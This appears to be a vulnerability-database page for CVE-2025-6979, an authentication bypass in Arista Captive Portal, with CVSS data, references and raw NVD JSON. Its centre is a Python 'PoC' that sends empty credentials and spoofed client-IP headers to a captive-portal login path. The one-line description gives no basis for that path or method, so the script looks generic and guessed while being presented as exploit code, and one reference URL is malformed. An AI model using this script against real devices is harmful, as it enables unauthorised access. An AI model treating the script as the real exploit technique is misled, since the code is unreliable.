CVE-2025-6979

Description

Captive Portal can allow authentication bypass

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Arista Captive Portal - 受影响版本需参考官方安全公告

建议关注Arista Security Advisory 0123获取完整受影响版本列表

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-6979 PoC - Captive Portal Authentication Bypass
# Reference: Arista Security Advisory 0123

import requests
import urllib3
urllib3.disable_warnings()

TARGET = "https://<arista-device-ip>/"
VULN_PATH = "/captive-portal/authenticate"

def check_cve_2025_6979():
    """
    Check for CVE-2025-6979 authentication bypass vulnerability
    This PoC demonstrates the potential bypass technique
    """
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
        'X-Forwarded-For': '127.0.0.1',  # May bypass IP check
        'X-Originating-IP': '127.0.0.1',
        'X-Remote-IP': '127.0.0.1',
        'X-Remote-Addr': '127.0.0.1',
        'X-Client-IP': '127.0.0.1',
        'X-Real-IP': '127.0.0.1'
    }
    
    # Attempt to bypass authentication
    bypass_payload = {
        'username': '',
        'password': '',
        'redirect_url': '/admin/dashboard'
    }
    
    try:
        response = requests.post(
            TARGET + VULN_PATH,
            data=bypass_payload,
            headers=headers,
            verify=False,
            timeout=10
        )
        
        if response.status_code == 200 and 'authenticated' in response.text.lower():
            print('[+] Potential vulnerability detected - authentication bypass possible')
            print(f'[+] Response: {response.status_code}')
            return True
        else:
            print('[-] Target may not be vulnerable or patch has been applied')
            return False
            
    except requests.exceptions.RequestException as e:
        print(f'[-] Error: {e}')
        return False

if __name__ == '__main__':
    print('CVE-2025-6979 Arista Captive Portal Bypass PoC')
    print('Use responsibly and only on systems you have permission to test')
    check_cve_2025_6979()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-6979
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-6979
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-6979/
[4] VulDB https://vuldb.com/cve/CVE-2025-6979
[5] https://https://www.arista.com/en/support/advisories-notices/security-advisory/22535-security-advisory-0123

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-6979", "sourceIdentifier": "[email protected]", "published": "2025-10-23T19:15:51.523", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Captive Portal can allow authentication bypass"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}], "references": [{"url": "https://https://www.arista.com/en/support/advisories-notices/security-advisory/22535-security-advisory-0123", "source": "[email protected]"}]}}